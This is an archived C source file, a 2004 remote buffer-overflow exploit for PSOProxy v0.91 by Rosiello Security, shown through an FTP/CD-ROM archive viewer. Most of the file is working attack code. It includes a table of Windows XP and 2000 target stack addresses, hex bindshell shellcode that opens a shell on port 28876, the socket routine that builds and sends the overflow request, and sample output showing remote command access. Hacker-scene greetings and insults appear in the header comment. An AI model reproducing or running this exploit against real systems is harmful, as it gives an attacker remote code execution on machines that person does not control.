home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / psoproxy / psoproxy-exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  274 lines

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <!-- saved from url=(0051)http://www.rosiello.org/archivio/psoproxy-exploit.c -->
  3. <HTML><HEAD>
  4. <META http-equiv=Content-Type content="text/html; charset=windows-1252">
  5. <META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
  6. <BODY><PRE>/*
  7.  
  8.                           Copyright ⌐ Rosiello Security
  9.  
  10.                              http://www.rosiello.org
  11.                                  ================
  12.  
  13.  -== Remote Exploit for PSOProxy version v0.91 ==--
  14.  Code by: rave
  15.  Contact: rave@rosiello.org
  16.  Date: Feb 2004
  17.  Bug found by: Donato Ferrante
  18.  
  19.  There is a vulnerability found in the PSOProxy server.
  20.   An attacker can execute arbitrary code exploiting remotely a buffer overflow.
  21.  
  22.     The exploit sends:
  23.  
  24.     GET / <1021 x A><adres of the shellcode><shellcode>
  25.  
  26.  This spawns a bindshell on the victim at port 28876..
  27.  
  28.  
  29.  Usage <C:\>psoproxy-exploit.exe <target host> <target number>
  30.  Target Number           Target Name                             Stack Adress
  31.  =============           ===========                             ===========
  32.  0                       Demo                                    0xBADC0DED
  33.  1                       Windows XP Home Edtion SP1.             0x00D2FDDA
  34.  2                       Windows XP Pro Edtion SP1.              0x00EDFDDC
  35.  3                       Win2k Pro Edtion.                       0x00BBFDDC
  36.  
  37.  
  38.  
  39.  <C:\> psoproxy-exploit localhost 1
  40.  [+] Winsock Inalized
  41.  [+] Trying to connect to localhost:8080
  42.  [+] socket inalized
  43.  [+] Overflowing string is Prepared
  44.  [+] Connected.
  45.  [+] Overflowing string had been send
  46.  
  47.  
  48.  <C:\> telnet localhost 28876
  49.  Microsoft Windows XP [versie 5.1.2600]
  50.  (C) Copyright 1985-2001 Microsoft Corp.
  51.  
  52.  <D:\>
  53.  
  54.  DO NOT USE THIS CODE ON DIFFERENT MACHINES BUT YOURS!!!
  55.  Respect law as we do!
  56.  
  57.  
  58.  
  59.  
  60.    Special Tankz to:
  61.    opy   { win2k 0wnage !! ty for lending me ur box }
  62.    B0f   { Hope to work with u again in the futhure like we do all the time }
  63.    Dragnet  { Always willing to help me out }
  64.    Angelo  { Verry good maffio`so }
  65.  
  66.  
  67.    Greetz go out to:
  68.    Kajun  { Verry suportive guy }
  69.    NrAziz { 0wns pakistan hax0r scene ! beware always say mr NrAziz }
  70.    sloth  { good guy }
  71.    Mercy  { Hope to see u soon }
  72.       Netric security {www.netric.org/.de }
  73.    [+] All the hax0rs i forgot.
  74.  
  75.    Hate Messages:
  76.    Ziphie { U didnt get mine bitch }
  77.  
  78.   OOh and Li0n7 voila fr {
  79.   you're doing it all wrong, your exploit doesn't work!
  80.   http://www.securityfocus.com/archive/1/354769/2004-02-15/2004-02-21/0
  81.   k/j man, keep on doing the good stuff and next time add some more stack adresses so
  82.   it would work on other os`s...
  83.  
  84.   }
  85.  
  86.  
  87.  
  88. Advisory at: http://www.rosiello.org/en/read_bugs.php?15
  89.  
  90. */
  91.  
  92.  
  93. #include <stdio.h>
  94. #include <winsock2.h>
  95. #include <errno.h>
  96. #include <windows.h>
  97.  
  98. // Darn fucking 1337 macro shit
  99. #define ISIP(m) (!(inet_addr(m) ==-1))
  100.  
  101. #define offset 1024 //1024
  102.  
  103.  
  104.  
  105.  
  106.  
  107. struct remote_targets {
  108.   char *os;
  109.   unsigned long sh_addr;
  110. } target [] ={
  111. /* Option`s for your eyes only :D*/
  112.     "Demo                        ",
  113.      0xbadc0ded,
  114.  
  115.  
  116.     "Windows XP Home Edtion SP1. ",
  117.      0x00D2FDDA,
  118.  
  119.     "Windows XP Pro Edtion SP1.  ",
  120.      0x00edfddc,
  121.  
  122.  
  123.     "Win2k Pro Edtion.          ",
  124.      0x00bbfddc,
  125.  
  126.  };
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133. //Bindcode spawns a binshell on port 28876 (Thanks to metasploit.com guys)
  134. unsigned char  shellcode[] =
  135.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  136.   "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
  137.   "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
  138.   "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
  139.   "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  140.   "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
  141.   "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
  142.   "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
  143.   "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
  144.   "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
  145.   "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
  146.   "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
  147.   "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
  148.   "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
  149.   "\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
  150.   "\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
  151.   "\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"
  152.   "\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
  153.   "\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
  154.   "\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
  155.   "\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
  156.   "\x83\xc4\x5c\x61\xeb\x89\x41";
  157.  
  158.  
  159. // now what would this button do ?
  160. char *host_ip;
  161. u_long get_ip(char *hostname)
  162. {
  163.  struct  hostent    *hp;
  164.  
  165.  if (ISIP(hostname)) return inet_addr(hostname);
  166.  
  167.   if ((hp = gethostbyname(hostname))==NULL)
  168.   { perror ("[+] gethostbyname() failed check the existance of the host.\n");
  169.     exit(-1); }
  170.  
  171.   return (inet_ntoa(*((struct in_addr *)hp->h_addr)));
  172. }
  173.  
  174.  
  175. /// oooh yeah uuuh right ....
  176. int usage (char *what)
  177. {
  178.  int i;
  179.   fprintf(stdout,"Copyright ⌐ Rosiello Security\n");
  180.   fprintf(stdout,"http://www.rosiello.org\n\n");
  181.   fprintf(stdout,"Usage %s <target host> <target number>\n",what);
  182.   fprintf(stdout,"Target Number\t\tTarget Name\t\t\t\tStack Adress\n");
  183.   fprintf(stdout,"=============\t\t===========\t\t\t\t===========\n");
  184.  
  185.   for (i=0;i < 4;i++)
  186.    fprintf(stdout,"%d\t\t\t%s\t\t0x%p\n",i,target[i].os,target[i].sh_addr);
  187.  
  188.   exit(0);
  189. }
  190.  
  191. int main(int argc,char **argv)
  192.  
  193. {
  194.  
  195.  
  196. char buffer[offset*2]="get /",*ptr,*address;
  197. int sd,oops,i,choise;
  198. struct  sockaddr_in  ooh;
  199.  
  200.  
  201. WSADATA wsadata;
  202. WSAStartup(0x101, &wsadata);
  203.  
  204. if (argc < 2) usage(argv[0]);
  205. address=argv[1];
  206. choise=atoi(argv[2]);
  207.  
  208. fprintf(stdout,"[+] Winsock Inalized\n");
  209.  
  210.  /* Lets start making a litle setup
  211.     Change the port if you have to */
  212.  
  213.  ooh.sin_addr.s_addr = inet_addr(get_ip(address));
  214.     ooh.sin_port        = htons(8080);
  215.     ooh.sin_family      = AF_INET;
  216.  
  217.  
  218. fprintf(stdout,"[+] Trying to connect to %s:%d\n",address,8080);
  219.  
  220.  
  221. // ok ok here`s ur sock()
  222. sd = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);
  223.  if (!sd<0) { fprintf(stderr,"[!] socket() failed.\n");exit (-1); }
  224.  
  225.  fprintf(stdout,"[+] socket inalized\n");
  226.  
  227.  
  228.  /* inalizing the expploiting buffer read the file comments for the details */
  229. ptr=buffer+strlen(buffer);
  230.  
  231. for (i=strlen(buffer);i < offset;i++) *ptr++=(char)0x2e;
  232. for (i=strlen(buffer);i < offset+6;i++) { *ptr++=(char)0xa; *ptr++=(char)0xd ;}
  233.  
  234. memcpy(buffer+strlen(buffer),((char *)&shellcode),strlen(shellcode));
  235. memcpy(buffer+offset,((char *)&target[choise].sh_addr),3);
  236.  
  237.  
  238. fprintf(stdout,"[+] Overflowing string is Prepared\n");
  239.  
  240.  // Knock knock ... hi i want to hook up with you
  241.  oops=connect(sd, (struct sockaddr *)&ooh, sizeof( ooh ));
  242.   if(oops!=0) { fprintf(stderr,"[!] connect() failed.\n"); exit(-1); }
  243.  
  244. // yep wher`e in :D
  245. fprintf(stdout,"[+] Connected.\n");
  246.  
  247.  
  248. // Sending some Dangerous stuff
  249. i = send(sd,buffer,strlen(buffer),0);
  250. if (!i <0) { fprintf (stdout,"[!] Send() failed\n"); exit (-1) ; }
  251.  
  252. fprintf(stdout,"[+] Overflowing string had been send\n");
  253.  
  254.  
  255. /* May psoproxy rest in peace (have cold a nice one and telnet to <host>  28876
  256.  
  257.  <C:\> telnet localhost 28876
  258.  Microsoft Windows XP [versie 5.1.2600]
  259.  (C) Copyright 1985-2001 Microsoft Corp.
  260.  
  261.  D:\>
  262. */
  263.  
  264.  
  265. // Bring in the cleaners !!
  266. WSACleanup();
  267.  
  268. // [EOF]
  269. return 0;
  270.  
  271. }
  272.  
  273. </PRE></BODY></HTML>
  274.